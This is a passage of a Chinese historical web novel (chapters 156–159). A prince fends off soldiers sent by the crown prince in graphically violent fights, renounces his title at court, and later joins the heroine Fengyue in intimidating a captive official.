孝亲王府里一片宁静,只院子里站着一群丫鬟家奴,个个都是没睡醒的模样,仿佛不是被围困了,而是他深夜造访,扰了他们清梦。
殷沉玦愕然,有点忐忑地问:“皇兄呢?”
廉恒迎上来,拱手道:“王爷在主屋里。”
眼里有了点兴奋的神色,殷沉玦跟着就往主屋走。
他在殷沉璧的阴影下头活了太久了,从小到大,身边的人都不停地对他念叨:“您看看大皇子……”
“大皇子文武双全,天赋异禀啊!可您怎么……”
“大皇子每天天不亮就起床练功了,您还睡?”
大皇子,大皇子,他梦里都有人在耳边不停地念大皇子,他本来都已经绝望了,没殷沉璧的天赋,也没他那么拼命,比不过就比不过吧。可是没想到有一天,殷沉璧也会被他踩在脚下,对他行礼,喊他太子。
殷沉玦觉得,这是上天给他的机会,让他狠狠报复这么多年因为殷沉璧而受的折磨。此时的殷沉璧,大概没了那不可一世的神情,正紧张不安地被捆在主屋里吧?
一想到那样的情形,殷沉玦步子都快了些,很是期
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盼地走到主屋门口,推开门一看!
里头漆黑一片。
吓了一跳,殷沉玦连忙喊了一声:“人跑了,给我追!”
“是!”
这大嗓门,在寂静的王府里如响雷一般,把旁边的廉恒吓了一跳,也把屋子里两个睡得正香的人吵醒了。
“来了?”重新点燃梅花灯,殷戈止睡意惺忪地出来,垂眼看着门口的殷沉玦,低声道:“深夜来访,有什么话不如进来坐着说吧。”
殷沉玦吓得后退两步,瞪眼看着面前这人,低声问廉恒:“你怎么不把他绑起来?!”
廉恒皱眉,为难地道:“太子殿下,先不说孝亲王没罪过不该绑,就算当真该绑,微臣也不是王爷的对手啊。”
惊得脸一白,殷沉玦瞬间躲到了廉恒身后,很是害怕地道:“皇兄……”
“嗯?”慵懒地往门框上一靠,殷戈止淡淡地扫了一眼门口堵着的二十来个护卫,轻笑道:“太子殿下深夜出门十分危险,只带这么点护卫,怕是难保周全,等会回去的时候,让我府上的护卫跟着吧。”
二十多人在他眼里还算少的?!殷沉玦被吓得直摇头,吞吞吐吐地道:“不……不必了,我马上就准备回去了。”
“这么快就要走?”疑惑地看着他,殷戈止问:“不是有事情找我么?”
“……没,没什么大事。”咽了口唾沫,殷沉玦摇头道:“就是听闻皇兄要走了,来跟皇兄告别。”
看他一眼,殷戈止温和地道:“你有心了。”
“嗯……那,那我就先回去了。”殷沉玦扭头就想跑!
“殿下!”后头的门客连忙堵着他,低声道:“咱们带了百余士兵呢!折腾这么一大晚上,您怎么刚来就想走?”
畏惧地看了一眼殷戈止,殷沉玦小声道:“廉恒说打不过他,那谁是他的对手?人都抓不住,还想砍他的手?别激怒了他,反过来杀了我!”
门客恨铁不成钢地道:“您是国之储君,怎能如此胆怯!他武功虽高,却不是三头六臂,这么多人围上去,再厉害的人也能被压住,您来都来了,不能无功而返啊!”
有了点底气,殷沉玦抿唇,犹豫了片刻道:“那你来下令,我想躲远点。”
门客一愣,心里喟叹一声,却是咬牙转头,大声下令:“来人啊,将孝亲王擒下!”
“是!”外头的人齐声应和。
殷戈止脸色未变,只跨出房门,将门从背后拉上,合拢。
里头的风月有点傻眼,连忙扑到门上透过雕花缝隙去看。
院子外头涌进来数十士兵,个个刀剑出鞘,对准了殷戈止,前头有胆子大的已经扑了上来,刀光直取他脖颈。
这是要做什么?!父要食子就算了,兄弟还阋墙?
看一眼门边站着的廉恒,她咬牙低唤:“廉统领!”
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第156章 杀戮
一听她的喊,廉恒便背靠了门,义正言辞地道:“少将放心,大丈夫有所为有所不为,就算是太子殿下的命令,卑职也绝不会让他们伤着王爷一根毫毛!”
嘴角抽了抽,风月轻轻“呸”一声,道:“谁担心他有没有伤着啊?你瞧他那嗜血的样子,你护着太子先走还能算是护驾有功呢!我叫你过来是想说,你找机会替我传信去秋夫人那里,就说我被孝亲王囚禁在了王府里,让他们想法子来救我!”
被这话吓了一跳,廉恒有些不敢置信地侧头:“您是被关在这儿的?”
“对啊!”风月咬牙:“你难道看不出来?”
“……”还真是没看出来,毕竟住都住在王爷的主屋,一般被关,不是应该惨兮兮地关个柴房么?
沉默了片刻,廉恒点了点头,然后便被院子里紧张刺激的打斗给引去了目光。
有人传话风月就不着急了,慢条斯理地趴在门上,眯着眼睛瞧着外头。
殷戈止最擅群战,就算面前是百余个士兵,也并未露什么惧色,反而是空手夺了旁边人的长剑,肩骨用力,将人连带着后头站着的人一并撞开老远。这力道由柔而刚,有点眼力的都能看出此人内功深厚,然而也有穿着兵服混吃混喝的,什么也不懂就朝他背后冲,却被反手一剑,直接割穿了咽喉。
鲜血喷洒,血雾瞬间弥漫,呛得人几欲作呕。
在他夺兵器的时候,殷沉玦并着门客都还有些侥幸,庆幸孝亲王还有所顾忌,看起来不愿意**。结果下一秒,滚烫的血就飞溅过来,打湿了他们的衣摆。
倒吸一口凉气,刚刚怂恿太子的门客不吭声了,瞪眼瞧着那如杀神一般的人,半晌也没能回神。
怎么会有这么恐怖的人?对面的士兵都挤满院子了,竟然还想反抗?
为何不反抗?殷戈止最近心情很糟糕,风月能哭一场,他不能,多少郁结闷在心里,没个发泄,都快把他给闷坏了!上好的机会送到眼前,他还不切几根萝卜泄泄火?!
敢对他动手的,他都不会当人看待,统统是萝卜,一刀能切俩!前头扑上来这几个不够看的,他动作便慢,眼帘半垂,像拈花托瓶的观世音,慈悲地看着他们。
然而,后头伺机而动的**概是觉得机会到了,提刀就冲了上来!
手里的剑卷刃了,殷戈止不耐烦地扔开,伸手接着迎头朝他砍下来的一刀,五指如石,愣是捏着刀身将那刀夺了过来。
这场景看得廉恒吓了一跳,连忙去看他的手,却见他手心一点红色都没有,想来是指头的力道足,压根没让刀刃砍下来。
厉害啊!
刀到了手,殷戈止反手横扫,前头几个冲得快的人没反应过来,身子甚至还习惯性地往前跌,头颅却已经滚落在地!血腥之味儿瞬间浓郁,场面恐怖至极,活像是地狱!不等人尖叫,那刀虎虎生风,直接将后头几个造次的人拦腰砍断,血混着黄绿色的水喷洒在地上,看得旁边的殷沉玦扭头就吐。
“快……快扶本宫走!”
门客也吓破了胆,没再乱出主意,扶着他就从人群后头溜了出去。但临走的时候,却还喊了一声:“殿下有令,取得孝亲王右手者,赏金千两!”
重赏之下有勇夫,刚刚还欲后退的人,这会儿都重新围了上来,直取殷戈止右手。
冷笑一声,殷戈止微微喘息,伸手扔了卷刃的刀,又夺了新的来砍。像发泄似的,他这一刀刀的都没什么招式,瞅准空隙就是一刀,看谁不顺眼了也是一刀,一刀便见骨断肉,引人惨叫连连。
廉恒忍不住赞叹:“真不愧是传说中的大魔王啊……”
“廉统领。”风月一脸平静地提醒他:“他砍的是你的人。”
廉恒叹息:“您没听见么?这些人是冲着金子去的,压根不是我平时带着的亲兵。我在校场问的,问谁愿意与我去围堵孝亲王府,他们是自愿来的,说效忠太子,那就由不得我担心了。”
风月挑眉:“您竟然不带亲兵来?”
“太子此命,有违常理。”廉恒道:“既然如此,那我也不能让那些个兄弟们为难,谁愿意来谁来好了。”
原来廉统领也会有不按规矩办事的时候啊?风月唏嘘,再看一眼外头,殷戈止好像是有点累了,手里的刀又卷了边儿,让他很是烦躁,一把扔了那刀,反身一脚将上前来的士兵给踹退几步。
殷戈止以前是惯用一把偃月长刀的,风月眨眼,回头在这屋子里打量了一圈儿,目光落在了角落里一个比她还长的木盒上头。
院子地方不大,院门也窄,所以一次能进来的士兵不多,殷戈止觉得压力不大。可后头的人接连不断地进来,他手上的兵器却总是砍几个人就卷刃,还得再换,这让他很是不悦,眉头都皱了起来。
正有点怀念自己的长刀呢,冷不防就听得背后一声喝:“王爷,接着!”
听着这声音,殷戈止有些意外地回头,就见那一袭红袍的**力地扛着他的偃月长刀,很想帅气地给他扔过来,然而手上没力,一个没站稳,差点被刀压在地上。
这么严肃的厮杀氛围里,殷大魔王直接笑出了声,吓得周围正准备继续冲的士兵都打了个寒战。
退后几步,殷戈止飞身到门边,将那把长刀拿了起来。
勉强站直身子,风月咬牙道:“以前怎么没发现这东西这么重!”
情况尚且危急,殷戈止也就没太在意这句话,只低头,飞快地在她头顶落下一吻,然后便转身,很是愉悦地继续冲回了杀场。
一群士兵都没有反应过来,只觉得孝亲王手里多了把看起来颇为威风的刀,于是还继续想去砍他右臂。
哪知道,这孝亲王突然就跟变了个人似的,脸上的表情没那么凶狠了,手上的动作却是更快,一把刀锋利刚硬,长刀一横,竟然能同时捅穿三个人的肚子!
后头的人觉得不妙,眼瞧着前头的人不仅没消耗掉孝亲王的力气,反而死得更快更惨了,连忙想往后退。
然而,殷戈止杀得兴起了,偃月在手,哪里还肯放人走?当即飞身
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越过院墙去,拦住人的退路,又是一番**!
殷沉玦本来还在墙外等结果呢,谁知道自家皇兄一个招呼都不打就提着刀出来了,吓得他扭头就跑,边跑边喊:“皇兄我跟你开玩笑的,别追我啊!”
也没想追他,殷戈止任由他跑出去,只将那门客留下,一刀捅穿心口。
可怜的一心想建功立业的门客,因着一个馊主意,就这么葬送了性命。
扔开尸体,殷戈止提着刀睨着剩下的跪地求饶的人,问了一句:“想活吗?”
“王爷饶命,王爷饶命啊!我们几个没想动手!”
“好说。”眼里的红色散去,殷戈止道:“你们把这一堆尸体收拾了,送去乱葬岗,然后就可以回家了。”
“多谢王爷!”剩下的几个士兵感激涕零啊!本还以为要**掉了,没想到王爷是个不滥杀无辜的好人!
蹲在主屋门口的风月翻了个白眼,心想这群人也真是够惨的,送上门来被殷戈止杀了个痛快,没死的还得帮他收拾屋子,还得感谢他?
偃月长刀的刀面泛着青色的寒光,殷戈止提刀归来,一身玄衣被血染得颜色更深,脸上也有血迹。要不是头上束着银冠而不是头盔,她当真要觉得这人是从战场刚回来的了。
“冒犯了。”廉恒拱手朝他行礼:“既然太子走了,那卑职也便告退,改日再向王爷赔罪。”
“慢走。”殷戈止颔首,目送他出去,便又看向风月。
后者给了他一个大大的白眼,扭身就进了屋子。
低头看了看自己手里的偃月,殷戈止勾唇,跟着她进去便将刀擦干净放好。
“担心我?”
就知道这人会说这种不要脸的话,风月冷笑一声,抱着胳膊气也不喘地道:“谁他奶奶的担心你啊与其担心你要死我不如担心你死不成只是这大门要是你守不住那我被他们逮着下场就不好了说到底我还是为了自己!”
微微挑眉,殷戈止忍不住拍手:“真不愧是一顿吃三碗饭的人,饭量大,气也长。”
风月扭头就给了他一个冷漠的后脑勺!
空气里还弥漫着血腥味儿,外头的天空已经微微泛蓝,要睡是睡不成了,风月想了一会儿,闷声道:“你父皇想流放你,你皇弟想砍你的手,你就这么大度还容得下他们啊?”
“到底是父母,到底是手足。”殷戈止道:“就算他们做得不对,我会跟他们算账,但不会杀了他们。”
“您跟易掌珠真是登对。”风月嗤笑:“她该当观音,你当佛祖,你俩去个寺庙普度天下去吧!”
“我跟她可不一样。”洗了脸,更了衣,殷戈止换了一身白衣,整理好衣襟,淡淡地道:“还是更适合跟你一起下十八层地狱。”
说罢,打开门,轻喊了一声观止:“带上亲王的冠带和印鉴,咱们进宫。”
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第157章 这不要脸的!
微微一顿,观止瞬间就明白过来自家主子的意思,愤慨地应了一声“是”,然后便飞快地去拿东西。
风月回头,有点不明所以地看着他:“怎么?打算进宫告太子一状?”
理了理自己的衣襟,殷戈止睨她一眼,道:“不必那么麻烦。”
告状哪里是他的作风,况且要告也该昨夜运着尸体进宫才是,过了一夜,血腥味儿都淡了,黄花菜也凉了,有甚意思?
看了看他脸上这温和的神情,风月下意识地打了个寒颤,突然有点同情那没脑子的太子。
殷沉玦回宫去也没能睡上觉,一闭眼脑海里就浮现那肢体横飞的血腥场面,裹着被子瑟瑟发抖,惊恐不已。
内侍看着他这模样,连忙去禀告了皇后,皇后急忙赶过来,挥退所有宫人,着急地问:“怎么了?”
将孝亲王府发生的事情说了一遍,殷沉玦颤颤巍巍地看着自己的母后:“儿臣能不能不跟他争了?”
石皇后横眉:“你可是太子!你知道这太子之位母后是花了多大的力气才给你争来的吗?现在孝亲王虽说要流放,可朝中一直有人给他求情,再这样下去皇上万一收回成命,他就会成你太子之位的最大威胁!不趁着现在皇上忌惮他的时候争,你还想什么时候争?”
“可……可是。”一想起殷沉璧那张脸,殷沉玦就吓得直哆嗦:“他真要同儿臣争的话,儿臣是无论如何也争不过他的啊!”
狠狠地咬了咬牙,石皇后也是一脸的恨铁不成钢:“他母后早逝,后宫无人支持,前朝也没有铁打的关系,仅凭一点以前的威望在支撑,你怎么会争不过他?再说了,现在皇上是偏心你的,他有什么?”
为质一年,为魏国鞠躬尽瘁近十年的殷戈止,现在什么也没有!
殷沉玦一脸茫然,石皇后略微一思忖,便道:“他不是在孝亲王府大开杀戒了吗?杀的可都是护城军啊!咱们借此告他一状,说护城军夜巡至孝亲王府,起了冲突,孝王爷便胡乱**。找些证人,定然能叫他百口莫辩!”
说着,觉得很是可行,皇后自己便起身去门口,招了宫女来,一阵嘀咕。
殷沉玦沉默地看着,眼里有些厌然之色,却是没法儿吭声,就垂着脑袋等着。
天色微明,宫门大开,朝臣们井然有序地往朝堂的方向走。监察使武泽正打着呵欠呢,冷不防觉得身后挤了个人。
这进宫的队列都是排好的,谁会这般不守规矩地挤啊?他皱眉,回头正想说道两句,却瞧见了殷戈止一张面无表情的脸,像清晨的凉风,瞬间就把他给吹清醒了。
“孝亲王?!”
这一声,惊得正走着的两列官员都停了下来,最前头的石鸿唯微微一怔,皱眉回头,却见那孝亲王未着朝服,甚至连华服都没穿,只一身轻薄俊逸的白衣,眼里无波无澜。
什么情况?众位大人都摸不着头脑,有与殷戈止亲近些的,纷纷将他围了起来,低声问:“王爷意欲为何?”
殷戈止道:“有话想在朝堂上对陛下说。”
陛下,不是父皇。
倒吸一口凉气,武泽拉了拉他的袖子劝道:“皇上最近脾气不好,您这样怕是要惹圣怒。”
“他不怒,我就白来了。”镇定自若地拂开他的手,殷戈止道:“各位大人,继续往前走吧,堵在这儿也不像话。”
武泽是殷戈止的旧友,也算是他提拔上来做监察使的,故而一听这话,别的都没多说,直接让人列队,继续前行。
石鸿唯皱眉瞧着,沉思片刻,没马上开口,也继续往朝堂走。
于是,魏文帝今日尚算不错的心情,在坐上龙椅往下看的一瞬间,就被破坏掉了。
“沉璧?”脸色不太好看,魏文帝道:“你为什么来了?”
出列跪下,殷戈止道:“儿臣有负父皇厚望,特来请罪。”
“哦?”魏文帝来了点兴趣:“出什么事儿了?”
殷戈止抬头,平静地道:“王爷当来无趣,儿臣想挂冠为民,游山玩水。有负父皇隆恩厚望,还请父皇恕罪。”
啥玩意儿?
满朝文武都被这话震惊了!历朝历代,王爷无数,就没出现过一个在朝堂上说当王爷没意思,要去当百姓游山玩水的!这不是当众给了皇帝一耳光吗?还是很重的那种,打得魏文帝半晌也没回过神。
但是,等回过神的时候,魏文帝就怒了,一把将手里的折子扔下来,怒道:“胡闹!这可是朝堂,当着这么多人的面,你也能说出这样的混账话来?!殷氏皇族生你养你,难道就是为了看你今日这般的大逆不道吗!”
“皇上息怒——”两边的朝臣都跪了下去,以头磕地。
殷戈止挺直了背跪着,淡然地道:“这二十余年来,父皇觉得,儿臣回报殷氏皇族的东西,还不够多?”
想了想,抬眼看向上头:“不若,再送儿臣回去吴国为质,老死他乡,父皇心里也会舒坦些。”
两句话就将魏文帝的怒火给堵住了,众臣心里也都是一紧。
的确啊,要说生养之恩,殷大皇子这些年来为皇室做的贡献,比两朝所有的皇子皇帝加起来还多,真要计较,也不知是谁欠谁。
目光微微晃了晃,魏文帝又气又有些惭愧,毕竟他也有对不住自己皇儿的地方,可他这行为实在过分,堂堂帝王的尊严,岂能容他践踏?
在魏文帝看来,不会有人舍得下荣华富贵,甘愿做平民的,所以殷沉璧这是欲擒故纵,这是在对他流放的圣旨表达不满,是想要挟他收回成命。
这种把戏他在后宫都看腻了,也最厌烦这种人,你要当平民,那你去当好了!
一拍扶手,魏文帝扭头就问:“丞相对此事有何看法?”
石鸿唯站了出来,恭恭敬敬地拱手道:“孝亲王今日的举动,老臣或许知道些原因,本也是打算向陛下禀告此事的——昨晚护城军巡视至孝亲王府,不知何故,百余士兵死于孝亲王手下,尸骨成山,冤魂难平。”
满朝哗然,皇帝震惊,瞪眼看向下头跪着的人,却见他一
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脸平静地道:“儿臣嗜杀,因此,更不堪王爷之位。”
武泽听不下去了,站出来驳斥道:“护城军巡视,会有百余人同时去孝亲王府?王爷就算嗜杀,也绝不会滥杀无辜,其中有什么缘由,恐怕还要细细追究才是!”
后头的郎中令站出来道:“宫门记录有禀,太子殿下昨晚子时之后出宫,两个时辰之后方回,去向不明,不知是不是也与孝亲王府此事有关。”
石鸿唯听皇后说的这主意,以为当真是殷戈止的过失,没想到却把太子牵连了出来!不禁暗骂一声妇道人家就是没脑子,什么事都能拿来当把柄!
“若不是此事,那王爷要走,老臣就不得知原因了。”打住这话头,石鸿唯拱手道:“但王爷,您这一自贬,完全不考虑陛下的感受,算是不孝。”
父不慈,子何孝啊?殷戈止微哂,也没争辩,只道:“石丞相何必多说,父皇问你的看法,你只消一个‘允’字,能给你省很多麻烦。”
石鸿唯沉默,状似仔细思考,心里也早就有了答案。
孝亲王府。
风月焦急地等着,眼巴巴地看着外头,正想嘀咕廉恒是不是没把话带到啊?就听见后院一阵骚动。
“抓住他!快!”
“来人支援!”
“围堵他们,别让他们过去!”
来了!一听这动静就知道是尹将军惯用的声东击西,所有巡逻的护卫都去了后院支援,前头便翻进来个力大无穷的史冲,跑到她面前,二话不说,拎着她放在自己肩上坐着,飞身就往外冲!
“你们可算来了!”风月眼泪都要飚出来了:“我等你们等得好苦啊!”
“我们找您也找得很苦。”跳出院墙上车,史冲激动地道:“您是不知道哇,秋夫人急得哭了好几天了,谁劝揍谁!封将军也帮着将澧都里四处寻了个遍,再找不着他都要疯了。谁能想到您在孝亲王府啊,王爷怎么也不吱个声的……”
“他要吱声,我定然会被你们抢回去,他才不那么傻呢。”翻了个白眼,风月道:“不仅不傻,他多半还会帮你们找,关心地每天派人问你们找着了没有。”
瞪大了眼,史冲惊奇地看着她:“您怎么猜到的?”
这还用猜吗?就殷戈止那种不要脸的作风!一定会这么做啊!
抹了把脸,风月问:“你们那边情况怎么样?”
史冲道:“本来要弄死石有信的,秋夫人说想等您亲手来,就把人喂在笼子里呢。咱们最近没什么事儿,光顾着找您了,倒是刚刚宫里传来消息,说孝亲王要自贬为民,朝堂上争得很厉害,魏文帝看样子要同意,朝臣们还在议。”
自贬为民?风月愕然,眼珠子一转就知道了殷戈止在打什么算盘。
这臭不要脸的!
不过,对殷氏皇族不要脸,那可真是有好戏看了!
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第158章 还是一起下地狱吧
“臣以为,孝亲王身负吴魏两国友好重责,这样贸然为民,实在不妥!”
“哼,吴魏两国友好,难不成少了一个孝亲王就不行了?再说,王爷自己无心再担责,贸然让他继续接待吴国即将到来的使臣,恐怕更会出乱子呢。”
“秦大人言之有理,王爷既然主动提出,那陛下就算不允,这王爷,他也当不好了。”
听着这一群叽叽喳喳的声音,皇帝怒喝:“都争够了吗!”
朝堂里瞬间恢复了宁静,魏文帝竖眉跺脚,很是气恼地道:“殷沉璧辜负朕的信任,没有王爷该有的担当,不忠不孝,大逆不道!还有何可争的?”
“传旨,孝亲王殷沉璧,愧对其位,冒犯君王!着,废除亲王之位,贬为庶民,终身不得再踏入皇宫一步!”
“陛下!”朝堂上一半的人跪了下去,齐声道:“陛下三思啊!”
本来还只是贬为庶民,这怎么还加了个终身不得踏入皇宫?
一片惊骇之声中,魏文帝淡然开口:“不想承担皇室的重担,自然也不会再有皇室的任何荣耀和特权,你的府邸和家产都会被查封,朕就当没你这个儿子,你也不必当朕是你的父皇!”
平静的声音将血脉一刀砍断,半点没有痛意。魏文帝其实并不意外,打从殷沉璧回来说要给关家翻案开始,他就知道这个儿子不会再他所用,再加上石鸿唯折上所写的他在背后的所作所为,分明就是要与他为敌,同他作对!这样人,早废早好,还少了个威胁。
唯一有点可惜的话,就是觉得殷戈止当真是一把好刀,眼下不得不埋进土里,再不能用。
但,比起这刀要割到自己身上来说,舍了这把刀,也没什么大不了的。
“草民,叩谢圣恩。”殷戈止双手交叠垫在额前,朝皇位上的人行了个大礼,抬起头时,看着魏文帝道:“此后,愿陛下多保重,若是有难事,也可寻草民相助。”
瞧这话说的!魏文帝冷笑:“朕堂堂帝王,还会求你一个平民?殷沉璧,没了皇室的身份,你就什么也不是!别太看得起自己了!”
微微颔首,殷戈止也没生气,平静地站起来,转身一步步地走向朝堂大门。抬脚跨出朝堂的门槛,一袭白衣被外头初升的朝阳染得微微泛黄,衣摆翻飞之间,人就消失在了外头。
满朝文武唏嘘,帝王坐在龙位上,眼神狠戾,冷哼不断。
瞧着吧,没了荣华富贵,没了无上权势,甚至一点银子都没有,他殷沉璧还拿什么这般自负?!
“观止。”
跨出了皇宫大门,殷戈止陡然轻松,语气愉悦地道:“回去收拾东西,带着风月搬去先前准备好的宅子里,然后传信,告诉世冲和怀祖可以继续赶路了。”
“是!”兴奋地应下,观止扭头就去驾车。
没了王爷的头衔,殷戈止便是他自己了,是聪慧的经商之人,也是翩翩的儒雅书生。皇帝不知道,满朝文武也不知道,殷戈止十八岁开始涉猎商行,推敲买卖盈利之事,觉得很有意思,于是自己开始赚钱玩,一不小心赚多了,还慌忙以观止的名义存去了钱庄。
士农工商,朝中士大夫没有看得起商人的,堂堂皇子,更不能做这种**的事情,所以原来的殷戈止总是很为难,他想支援点军资和武器,都得通过别人的名义九曲十八弯地送。
现在舒坦了,不用躲着藏着,他可以带风月去酒楼先吃顿大餐。这样想着,一路上殷戈止都很高兴,甚至已经开始在想要点什么菜,吃了之后要去买什么东西。
然而,这份愉悦轻松的心情,在回到孝亲王府的时候,被击了个粉碎。
干将带着一群人跪在门口,沉默不语。护卫们个个都将刀放在地上,作请罪状。
心里紧得有点疼,殷戈止捏着车帘盯了他们许久,半晌才下车站在他们面前,低声问:“人不见了?”
干将沉声道:“属下无能,但……来的人太多,武功都不弱,又使了诈,所以……属下没能拦住。”
身子有点僵硬,殷戈止抬头看了一眼开着门的孝亲王府。
她就这么想走,想到不放过每一个他离开的机会?怎么就真的半点不在意,他回来看见这场景,会是什么心情?
这么多天,她一直老老实实的,连个试图逃离的动作都没有,他才放下心,渐渐的没梦见过她逃走的背影。
可现在,人当真走了,就在他不经意的一个转身之后,消失得无影无踪,像毫无预兆的当头棒喝,打得他连反应的机会都没有。
谁教她这般狠心的?
殷戈止摇头,脑袋很迟缓地想了想,立马转身去大杂院。
风月被人接回去,刚准备收拾石有信,就听得外头史冲道:“殷戈止朝这边来了!”
“怕他做什么?”秋夫人气不打一处来:“他不是不要王爷之位了么?难不成还能把咱们少主带走关起来?”
史冲一愣,想想也是哦!于是就跟尹衍忠等人一起,抄着家伙在大门口等他!打算先把人打一顿再放他进去说话!
然而,殷大魔王生气归生气,脑子还是在的,没走正门,直接翻了墙。风月正在磨刀呢,冷不防就见面前多了双靴子。
“来了?”没好气地吹了吹刀口,风月道:“就知道他们拦不住你。”
胸口微微起伏,殷戈止很是不敢置信,这人怎么能这般平静呢?好像刚刚从孝亲王府逃走的人不是她一样,看见他,竟然就这么一句轻描淡写的话?
“你要逃,怎么也不逃远点?”
翻了个白眼,风月拿着刀看着他。平静地道:“王爷,我只是想离开孝亲王府,脱离你的掌控,不是想逃避你。澧都就这么大,去哪儿也能被你找到,就不费那个功夫了。但是话说在前头,我活着就是为了报仇,你不让我报仇,就等于让我**,那就别怪我不客气了。”
气极反笑,殷戈止抱着胳膊问:“你打算怎么对我不客气?”
“很简单,我就让人伪造你联
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合吴国准备吞了魏文帝兵权的密信,扔去丞相府。那接下来你想借吴魏联合出兵抗宋的契机来翻身的算盘,就会落空了。”风月哼哼着道:“你的印鉴,我也偷着了。”
先前在他屋子里摸来看去的,他一直没在意过,想着随便什么都由她拿,谁曾想,却忽略了印鉴的问题!
眼帘一垂,殷戈止语气沉了:“你知道我想做什么?”
“您不就是不想去巴山,所以在想主意么?”撇撇嘴,风月道:“弃位自贬,您这姿态拿捏得真是挺好啊,让我猜猜,您肯定还会在朝堂上大义凛然地说,以后皇帝需要你,你还会去帮忙之类的话,对吧?”
脸色一青,殷戈止盯着她的神情就古怪起来:“你在朝堂上也有人?”
“哪能啊,我又不是神仙。”耸耸肩,风月道:“顶多是朝堂外头守着的人里有点关系……不过也不是听来的,就是猜的而已。以您这种阴险狡诈气**不偿命的性子,眼瞧着吴国使臣要来了,您还能不作妖?”
这语气听着像是在夸他,但用词怎么怪怪的啊?殷戈止沉默,示意她继续说。
“吴魏想联合抗宋,叶大太子看重的是您的能力,这事儿咱们知道,魏国的人不知道,所以魏国太子敢砍您手,皇帝一气之下也敢让您当真成庶民。您打的算盘,不过就是等使臣到了,说清楚了两国联合的条件,然后好让魏文帝后悔莫及、低声下气地来求您么?到时候的条件,肯定就是由您来开了。”
边说边摸着下巴,风月摇头:“阴险太阴险,真是不要脸!”
眯了眯眼,殷戈止就奇了怪了:“你怎么总能猜到我在想什么?”
“因为换做是我,我也会这么想。”风月道:“想想先前对自己下狠手、不念亲情的那些人将自己推出去时候的冷漠,再等着看利益驱使之下他们忏悔和恼恨的模样,多痛快啊!”
殷戈止一顿,深深地看了她一眼,然后轻笑出声,整张脸都柔和了下来。
“我果然还是适合跟你一起下十八层地狱。”
这话从他唇齿间出来,怎么听都带着股子暧昧的味道,风月皱眉,冷哼了一声:“您想成事就别再关我,不然咱们玉石俱焚,谁都别想好过!”
“不关你。”殷戈止道:“你想做什么,就去做吧,我不参合。只是,我已经被赶出王府,暂时没有落脚的地方。你们这院子大,空房间也多,不如……”
“别!”风月连忙摇头:“庙小,容不下您这么大的佛。”
“是么?”殷戈止点头:“那我睡门外好了。”
风月:“……”
那岂不是在她门口挂了个巨大的灯笼,还是朝着整个澧都的人摆手的那种,一边摆一边喊:快来看啊,这宅子不让昔日的皇子进去住啊,宅子的主人肯定很牛逼,快查查什么身份啊!
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第159章 修桥
风月很生气,不仅气这人死皮赖脸,更气自己拿这种死皮赖脸的人没办法!
能怎么办啊!难不成还真跟他犟着,现在就来个玉石俱焚?她还想留着命报仇呢,谁要陪他**啊?
气愤不已地磨牙,风月恨声道:“那您还是住进来吧,但别怪我说话难听——万一被别人发现您在这儿,顺带着查到了我身上,那咱们一个都别想活了!”
“好说。”一听她松了口,殷戈止微微勾唇:“我既然想住进来,定然就不会害着你。观止已经去司户处了,你们这一院子的人,都会被重新登记在册,以后要出关入关,也不必躲躲藏藏。新的身份我都想好了,正好有些铺面缺伙计和掌柜,少主意下如何?”
眨了眨眼,风月又气又笑:“这算是您的恩赐?”
“住进来要交的房费而已。”
“那我可真是谢谢您了!”对这种捧着好处上门来的人,风月可真是恼啊,气都不能气,还不能对人甩脸子,不然就显得不识好歹!
那能怎么着?她扭头,正一股火无处发呢,就瞧见了那正在企图撬开笼子的石有信。
被关了这么多天,石有信一直觉得自己还不会死,毕竟那些人吓唬他,却没想杀了他。但现在,看见关清越这阴森森磨刀的样子,又看了看压根跟她是同流合污的殷沉璧,石有信有点慌了,打算最后试一试,或许能把笼子撬开呢?
先前藏着的木棍有了点作用,两人在说话的时候他就开始撬,眼瞧着撬动了一点,好不容易看见了希望,结果就被发现了!
这种有希望又失望,比直接绝望还难受,石有信“啊”了一声,疯狂地开始用头撞笼子:“你杀了我吧!杀了我吧!”
被他的喊叫声吸引得转过头,殷戈止微微挑眉,看了看石有信那狼狈的模样,以及毫无神采的眼神,唏嘘道:“原来大人在这儿啊?石丞相找您可找得很辛苦。”
一听这话,石有信愣了愣,咬牙道:“他一早让我堤防你,没想到你当真与奸人为伍,要忤逆圣意!”
“现在说这些都已经晚了。”殷戈止淡淡地道:“不如告诉我你的印鉴藏在何处,兴许我还能让她给你留个全尸。”
“呸!”石有信抖着声音骂:“死就**,我断然不会再受你们这些奸人的威胁!”
“是吗?”风月挑眉,举着刀子走过去,俯身看着他道:“那敢情好,我正觉得一刀杀了你不解恨呢,还特地去了一趟片鸭的铺子,学人家怎么把鸭皮一片片割下来。瞧瞧您,虽然瘦弱,但应该也能片个千儿八百刀的。”
惊恐地睁大眼,石有信正想着应该不会吧,结果旁边的殷戈止直接过来将笼子掰开,像掐鸡崽子似的将他拎出去,背靠着柱子,拿绳子一圈圈地捆好。
“动手吧!”殷戈止道。
“是!”风月拱手,横眉怒目地就举着刀过来,一刀便往他手上砍!
“等等!”石有信尖叫,闭着眼睛喊:“你们还是给我来个痛快吧!印鉴……我的印鉴都是放在书房书桌下头的暗格里的!”
殷戈止沉默片刻,满脸可惜地摇头道:“早说不就好了?您瞧,现在说了也晚了啊,都绑上了。风月,片儿了他!”
风月龇牙,举着刀“嘿嘿嘿”地冲石有信笑,笑得他肝胆俱裂,不知道是该指责殷戈止言而无信还是该怕关清越折磨自己,身子僵硬片刻,白眼一翻,直接吓晕了过去!
“出息!”风月皱眉,扭头就喊了一声:“罗大哥,倒盆凉水进来!”
罗昊还在院子门口等着殷戈止来呢,听见喊声,还有些担忧,一步三回头地去打水,生怕在自己离开的时候,殷戈止就蹿进来了!
然而,打好水端去房间门口的时候,罗昊傻眼了,瞪了里头那穿白衣裳的人半晌,放下水“咚咚咚”地跑出去将尹衍忠等人拖过来,指着那人问:“这是谁?”
尹衍忠一愣,脸色顿沉:“孝亲王!”
“那我们在门口守谁?”
“……”
众人相互看了一眼对方眼里的傻大个,然后齐齐朝殷戈止扑来!
“放开我们少主!”
殷戈止挑眉,冷静地侧身避开这接二连三的飞扑,抿唇道:“先把人弄醒,让你们少主报仇,我跟你们出去比划。”
秋夫人正要叉腰骂人呢,一看少主在旁边都没啥反应,再看殷戈止这无波无澜的面色,犹豫了一会儿,挥手道:“行,你们先出去。”
于是风月就瞧着秋夫人一盆水泼醒石有信,然后其余人跟遇了狗的猫咪一样,浑身**倒竖着,一路盯着殷戈止跨出房门。
